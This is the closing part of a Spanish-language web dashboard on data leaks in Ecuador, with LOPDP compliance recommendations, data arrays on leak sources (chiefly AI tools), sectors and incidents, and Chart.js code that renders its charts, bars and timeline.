style="margin-bottom:16px">Acciones prioritarias para cumplimiento LOPDP</p> <div class="rec-item"><span class="rec-num">1.</span><span class="rec-txt">Implementar política corporativa de uso de herramientas de IA</span></div> <div class="rec-item"><span class="rec-num">2.</span><span class="rec-txt">Prohibir upload de documentos sensibles a IA externas sin cifrado previo</span></div> <div class="rec-item"><span class="rec-num">3.</span><span class="rec-txt">Capacitar al personal en LOPDP y riesgos de fuga por IA</span></div> <div class="rec-item"><span class="rec-num">4.</span><span class="rec-txt">Auditorías periódicas de flujos de datos hacia servicios cloud de IA</span></div> <div class="rec-item"><span class="rec-num">5.</span><span class="rec-txt">Adoptar soluciones de IA on-premise para datos financieros críticos</span></div> <div class="rec-item"><span class="rec-num">6.</span><span class="rec-txt">Notificar incidentes a la DINARDAP dentro de las 72 horas requeridas</span></div> </div> </div> </div></div>

</div> </div>

// Scoped variables to avoid conflicts const dashboardData = { fuentesFuga: [ { sector:"Herramientas IA", pct:70, color:"#C91A1A" }, { sector:"Phishing / Ing. Social",pct:11, color:"#D45500" }, { sector:"Insider Threats", pct:8, color:"#9A7E00" }, { sector:"Brechas en APIs", pct:6, color:"#006BB3" }, { sector:"Malware / Ransomware", pct:3, color:"#008A46" }, { sector:"Otros Vectores", pct:2, color:"#8A90A8" }, ], sectoresAfectados: [ { name:"Financiero", ia:70, trad:18 }, { name:"Salud", ia:42, trad:30 }, { name:"Gobierno", ia:38, trad:35 }, { name:"Telecomunicaciones",ia:55,trad:22 }, { name:"Retail", ia:48, trad:26 }, { name:"Educación", ia:35, trad:28 }, ], evolucionAnual: [ { año:"2019", casos:12, victimas:800000 }, { año:"2020", casos:18, victimas:1200000 }, { año:"2021", casos:27, victimas:6700000 }, { año:"2022", casos:34, victimas:7900000 }, { año:"2023", casos:51, victimas:11200000}, { año:"2024", casos:68, victimas:14500000}, { año:"2025", casos:89, victimas:18300000}, { año:"2026*",casos:117, victimas:21000000}, ], tiposDoc: [ { tipo:"Estados de cuenta", pct:82, riesgo:"CRÍTICO", color:"#C91A1A" }, { tipo:"Contratos financieros", pct:74, riesgo:"CRÍTICO", color:"#C91A1A" }, { tipo:"Cédulas / IDs", pct:68, riesgo:"CRÍTICO", color:"#C91A1A" }, { tipo:"Declaraciones tributarias",pct:61, riesgo:"ALTO", color:"#D45500" }, { tipo:"Datos de clientes / CRM", pct:58, riesgo:"ALTO", color:"#D45500" }, { tipo:"Nóminas y RRHH", pct:47, riesgo:"ALTO", color:"#D45500" }, { tipo:"Informes de auditoría", pct:39, riesgo:"MEDIO", color:"#9A7E00" }, ], herramientas: [ { tool:"ChatGPT / GPT-4 / GTP-5.x", uso:78, color:"#C91A1A" }, { tool:"Microsoft Copilot", uso:65, color:"#C91A1A" }, { tool:"Google Gemini", uso:54, color:"#D45500" }, { tool:"Claude (Anthropic)", uso:38, color:"#D45500" }, { tool:"DeepSeek", uso:29, color:"#9A7E00" }, { tool:"Otros modelos", uso:18, color:"#006BB3" }, ], radarData: [ { tipo:"Banca Privada", val:88 }, { tipo:"Cooperativas", val:72 }, { tipo:"Seguros", val:65 }, { tipo:"Bolsa/Valores", val:79 }, { tipo:"Fintech", val:91 }, { tipo:"Microfinanzas", val:58 }, ], legalData: [ { art:"Art. 9 - Licitud", cumple:14, inc:86 }, { art:"Art. 19 - Consentimiento",cumple:22, inc:78 }, { art:"Art. 32 - Seguridad", cumple:18, inc:82 }, { art:"Art. 38 - Transferencia", cumple:9, inc:91 }, { art:"Art. 44 - Notificación", cumple:31, inc:69 }, ], hitos: [ { año:"2019", evento:"Filtración Novaestrat: 20M+ registros expuestos en servidor desprotegido.", color:"#D45500" }, { año:"2021", evento:"IESS: datos médicos de afiliados accesibles sin autenticación. ~4M afectados.", color:"#C91A1A" }, { año:"2022", evento:"CNT y operadoras: metadatos de llamadas y ubicación GPS expuestos.", color:"#D45500" }, { año:"2023", evento:"SRI filtra declaraciones tributarias por API sin control de acceso.", color:"#C91A1A" }, { año:"2024", evento:"Banca privada: empleados suben contratos y estados de cuenta a ChatGPT.", color:"#C91A1A" }, { año:"2025", evento:"IA Tools consolida como vector dominante: 70% de fugas financieras. 89 incidentes, 18.3M registros.", color:"#C91A1A" }, { año:"2026*", evento:"PROYECCIÓN — Inicio de año: 117 incidentes, 21M registros proyectados (↑26%). Una misma persona puede aparecer en múltiples filtraciones. IA como vector dominante (75%). Incumplimiento LOPDP sube a 94%.", color:"#C91A1A" }, ], };

let chartsBuilt = false; let charts = {};

// Chart.js defaults if (typeof Chart !== 'undefined') { Chart.defaults.font.family = "'Segoe UI', system-ui, sans-serif"; Chart.defaults.color = "#5A607A"; }

// Build Charts function buildChartsEcuador() { if (chartsBuilt || typeof Chart === 'undefined') return; chartsBuilt = true;

// Pie Chart
const pieCtx = document.getElementById("chartEcuadorPie");
if (pieCtx) {
  charts.pie = new Chart(pieCtx, {
    type: "doughnut",
    data: {
      labels: dashboardData.fuentesFuga.map(d=>d.sector),
      datasets:[{
        data: dashboardData.fuentesFuga.map(d=>d.pct),
        backgroundColor: dashboardData.fuentesFuga.map(d=>d.color),
        borderWidth: 2, borderColor:"#fff"
      }]
    },
    options:{
      responsive:true, maintainAspectRatio:false,
      plugins:{
        legend:{ position:"right", labels:{ boxWidth:12, padding:10, font:{size:11} } },
        tooltip:{ callbacks:{ label: ctx => ` ${ctx.label}: ${ctx.parsed}%` } }
      },
      animation:{ animateRotate:true, duration:1000 }
    }
  });
}

// Bar Sector Chart
const barCtx = document.getElementById("chartEcuadorBarSector");
if (barCtx) {
  charts.bar = new Chart(barCtx, {
    type:"bar",
    data:{
      labels: dashboardData.sectoresAfectados.map(d=>d.name),
      datasets:[
        { label:"Vía IA Tools", data:dashboardData.sectoresAfectados.map(d=>d.ia), backgroundColor:"#C91A1A", borderRadius:4 },
        { label:"Métodos Tradicionales", data:dashboardData.sectoresAfectados.map(d=>d.trad), backgroundColor:"#D8DFF0", borderRadius:4 },
      ]
    },
    options:{
      responsive:true, maintainAspectRatio:false,
      plugins:{ legend:{ labels:{font:{size:11}} } },
      scales:{
        x:{ grid:{color:"#E8ECFA"}, ticks:{font:{size:10}} },
        y:{ grid:{color:"#E8ECFA"}, ticks:{font:{size:10}, callback: v=>v+"%"}, max:100 }
      }
    }
  });
}

// Radar Chart
const radarCtx = document.getElementById("chartEcuadorRadar");
if (radarCtx) {
  charts.radar = new Chart(radarCtx, {
    type:"radar",
    data:{
      labels: dashboardData.radarData.map(d=>d.tipo),
      datasets:[{
        label:"Nivel de Riesgo IA (%)",
        data: dashboardData.radarData.map(d=>d.val),
        backgroundColor:"rgba(201,26,26,.15)",
        borderColor:"#C91A1A", borderWidth:2,
        pointBackgroundColor:"#C91A1A", pointRadius:4
      }]
    },
    options:{
      responsive:true, maintainAspectRatio:false,
      scales:{
        r:{ min:0, max:100, ticks:{font:{size:9}, stepSize:20},
          grid:{color:"#D8DFF0"}, pointLabels:{font:{size:11}} }
      },
      plugins:{ legend:{ labels:{font:{size:11}} } }
    }
  });
}

// Area Chart
const areaCtx = document.getElementById("chartEcuadorArea");
if (areaCtx) {
  const gradRed = areaCtx.getContext('2d').createLinearGradient(0,0,0,280);
  gradRed.addColorStop(0,"rgba(201,26,26,.25)");
  gradRed.addColorStop(1,"rgba(201,26,26,.02)");
  const gradBlue = areaCtx.getContext('2d').createLinearGradient(0,0,0,280);
  gradBlue.addColorStop(0,"rgba(0,107,179,.22)");
  gradBlue.addColorStop(1,"rgba(0,107,179,.02)");

  charts.area = new Chart(areaCtx, {
    type:"line",
    data:{
      labels: dashboardData.evolucionAnual.map(d=>d.año),
      datasets:[
        {
          label:"Víctimas", data: dashboardData.evolucionAnual.map(d=>d.victimas),
          yAxisID:"y", borderColor:"#C91A1A", backgroundColor:gradRed,
          fill:true, tension:.4, borderWidth:2, pointRadius:4, pointBackgroundColor:"#C91A1A"
        },
        {
          label:"Incidentes", data: dashboardData.evolucionAnual.map(d=>d.casos),
          yAxisID:"y2", borderColor:"#006BB3", backgroundColor:gradBlue,
          fill:true, tension:.4, borderWidth:2, pointRadius:4, pointBackgroundColor:"#006BB3"
        }
      ]
    },
    options:{
      responsive:true, maintainAspectRatio:false,
      interaction:{ mode:"index", intersect:false },
      plugins:{ legend:{ labels:{font:{size:11}} } },
      scales:{
        x:{ grid:{color:"#E8ECFA"}, ticks:{font:{size:11}} },
        y:{
          type:"linear", position:"left",
          grid:{color:"#E8ECFA"}, ticks:{ font:{size:10}, callback:v=>v>=1000000?`${v/1000000}M`:v }
        },
        y2:{
          type:"linear", position:"right",
          grid:{ drawOnChartArea:false },
          ticks:{ font:{size:10} }
        }
      }
    }
  });
}

// Legal Bar Chart
const legalCtx = document.getElementById("chartEcuadorLegal");
if (legalCtx) {
  charts.legal = new Chart(legalCtx, {
    type:"bar",
    data:{
      labels: dashboardData.legalData.map(d=>d.art),
      datasets:[
        { label:"Cumple", data:dashboardData.legalData.map(d=>d.cumple), backgroundColor:"#008A46", borderRadius:4, stack:"s" },
        { label:"Incumple", data:dashboardData.legalData.map(d=>d.inc), backgroundColor:"#C91A1A", borderRadius:4, stack:"s" },
      ]
    },
    options:{
      indexAxis:"y",
      responsive:true, maintainAspectRatio:false,
      plugins:{ legend:{ labels:{font:{size:11}} } },
      scales:{
        x:{ stacked:true, max:100, grid:{color:"#E8ECFA"}, ticks:{font:{size:10}, callback:v=>v+"%"} },
        y:{ stacked:true, grid:{display:false}, ticks:{font:{size:11}} }
      }
    }
  });
}

}

// Render Progress Bars function renderBarsEcuador(containerId, items, hasRiesgo) { const el = document.getElementById(containerId); if (!el) return; el.innerHTML = ""; items.forEach(item => { const pct = item.pct ?? item.uso; const label = item.sector ?? item.tipo ?? item.tool; const color = item.color;

  if (hasRiesgo) {
    const bgMap = { "CRÍTICO":"rgba(201,26,26,.07)", "ALTO":"rgba(212,85,0,.06)", "MEDIO":"rgba(154,126,0,.06)" };
    const brdMap = { "CRÍTICO":"rgba(201,26,26,.22)", "ALTO":"rgba(212,85,0,.18)", "MEDIO":"rgba(154,126,0,.16)" };
    const row = document.createElement("div");
    row.className = "riesgo-row";
    row.style.cssText = `background:${bgMap[item.riesgo]||'transparent'};border:1px solid ${brdMap[item.riesgo]||'transparent'}`;
    row.innerHTML = `
      <span class="riesgo-tag" style="color:${color}">${item.riesgo}</span>
      <div style="flex:1">
        <div class="prog-header">
          <span>${label}</span>
          <span style="color:${color}">${pct}%</span>
        </div>
        <div class="prog-track">
          <div class="prog-fill" style="width:0%;background:${color}" data-width="${pct}%"></div>
        </div>
      </div>`;
    el.appendChild(row);
  } else {
    const row = document.createElement("div");
    row.className = "prog-row";
    row.innerHTML = `
      <div class="prog-header">
        <span>${label}</span>
        <span style="color:${color}">${pct}%</span>
      </div>
      <div class="prog-track">
        <div class="prog-fill" style="width:0%;background:${color}" data-width="${pct}%"></div>
      </div>`;
    el.appendChild(row);
  }
});
// Animate
setTimeout(() => {
  el.querySelectorAll(".prog-fill").forEach(bar => {
    bar.style.width = bar.dataset.width;
  });
}, 80);

}

// Render Hitos function renderHitosEcuador() { const el = document.getElementById("hitosListEcuador"); if (!el) return; el.innerHTML = ""; dashboardData.hitos.forEach(h => { const row = document.createElement("div"); row.className = "hito-row"; row.innerHTML = <span class="hito-yr" style="color:${h.color}">${h.año}</span> <p class="hito-ev">${h.evento}</p>; el.appendChild(row); }); }

// Animate Counters function animateCountersEcuador() { document.querySelectorAll(".ecuador-dashboard [data-target]").forEach(el => { const target = parseInt(el.dataset.target); const suffix = el.dataset.suffix || ""; const prefix = el.dataset.prefix || ""; let start = 0; const duration = 1200; const step = 16; const increment = target / (duration / step); const timer = setInterval(() => { start += increment; if (start >= target) { start = target; clearInterval(timer); } const display = target >= 1000000 ? (start / 1000000).toFixed(1) : Math.floor(start); el.textContent = prefix + display + suffix; }, step); }); }

// Tab Switching window.switchTabEcuador = function(idx) { document.querySelectorAll(".ecuador-dashboard .tab-pane").forEach((p, i) => { p.classList.toggle("active", i === idx); }); document.querySelectorAll(".ecuador-dashboard .tab-btn").forEach((b, i) => { b.classList.toggle("active", i === idx); });

if (idx === 1) {
  renderBarsEcuador("rankingBarsEcuador", dashboardData.fuentesFuga, false);
  renderBarsEcuador("herramientasBarsEcuador", dashboardData.herramientas, false);
}
if (idx === 2) {
  renderBarsEcuador("docsBarsEcuador", dashboardData.tiposDoc, true);
}

};

// Initialize function initEcuadorDashboard() { buildChartsEcuador(); animateCountersEcuador(); renderHitosEcuador(); }

// Run when DOM is ready if (document.readyState === 'loading') { document.addEventListener('DOMContentLoaded', initEcuadorDashboard); } else { initEcuadorDashboard(); } })(); </script>